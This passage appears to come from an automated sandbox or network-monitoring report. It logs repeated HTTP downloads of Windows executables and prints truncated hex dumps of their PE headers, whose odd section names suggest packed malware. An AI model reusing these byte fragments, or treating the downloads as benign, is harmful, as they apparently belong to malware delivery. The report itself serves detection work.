00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 20:56:35 GMTContent-Type: application/octet-streamContent-Length: 2837504Last-Modified: Wed, 30 Oct 2024 20:43:26 GMTConnection: keep-aliveETag: "67229a6e-2b4c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 9c 83 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 6b 65 6f 76 6a 6b 63 00 00 2b 00 00 a0 00 00 00 ec 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 78 61 64 6b 70 71 61 00 20 00 00 00 a0 2b 00 00 04 00 00 00 26 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2b 00 00 22 00 00 00 2a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 20:56:36 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 20:56:46 GMTContent-Type: application/octet-streamContent-Length: 1911296Last-Modified: Wed, 30 Oct 2024 20:53:56 GMTConnection: keep-aliveETag: "67229ce4-1d2a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4c 00 00 04 00 00 6a e4 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 b6 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 b6 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 62 67 68 74 69 71 78 00 10 1a 00 00 b0 31 00 00 0c 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 65 6c 74 63 6a 6c 78 00 10 00 00 00 c0 4b 00 00 06 00 00 00 02 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4b 00 00 22 00 00 00 08 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 20:56:46 GMTContent-Type: application/octet-streamContent-Length: 2837504Last-Modified: Wed, 30 Oct 2024 20:43:26 GMTConnection: keep-aliveETag: "67229a6e-2b4c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 9c 83 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 6b 65 6f 76 6a 6b 63 00 00 2b 00 00 a0 00 00 00 ec 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 78 61 64 6b 70 71 61 00 20 00 00 00 a0 2b 00 00 04 00 00 00 26 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2b 00 00 22 00 00 00 2a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 20:56:58 GMTContent-Type: application/octet-streamContent-Length: 1911296Last-Modified: Wed, 30 Oct 2024 20:53:56 GMTConnection: keep-aliveETag: "67229ce4-1d2a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4c 00 00 04 00 00 6a e4 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 b6 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 b6 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 62 67 68 74 69 71 78 00 10 1a 00 00 b0 31 00 00 0c 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 65 6c 74 63 6a 6c 78 00 10 00 00 00 c0 4b 00 00 06 00 00 00 02 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4b 00 00 22 00 00 00 08 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 20:57:03 GMTContent-Type: application/octet-streamContent-Length: 2837504Last-Modified: Wed, 30 Oct 2024 20:43:26 GMTConnection: keep-aliveETag: "67229a6e-2b4c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 9c 83 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 6b 65 6f 76 6a 6b 63 00 00 2b 00 00 a0 00 00 00 ec 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 78 61 64 6b 70 71 61 00 20 00 00 00 a0 2b 00 00 04 00 00 00 26 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2b 00 00 22 00 00 00 2a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 30 Oct 2024 20:57:05 GMTContent-Type: application/octet-streamContent-Length: 1911296Last-Modified: Wed, 30 Oct 2024 20:53:56 GMTConnection: keep-aliveETag: "67229ce4-1d2a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4c 00 00 04 00 00 6a e4 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 b6 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 b6 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d8 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 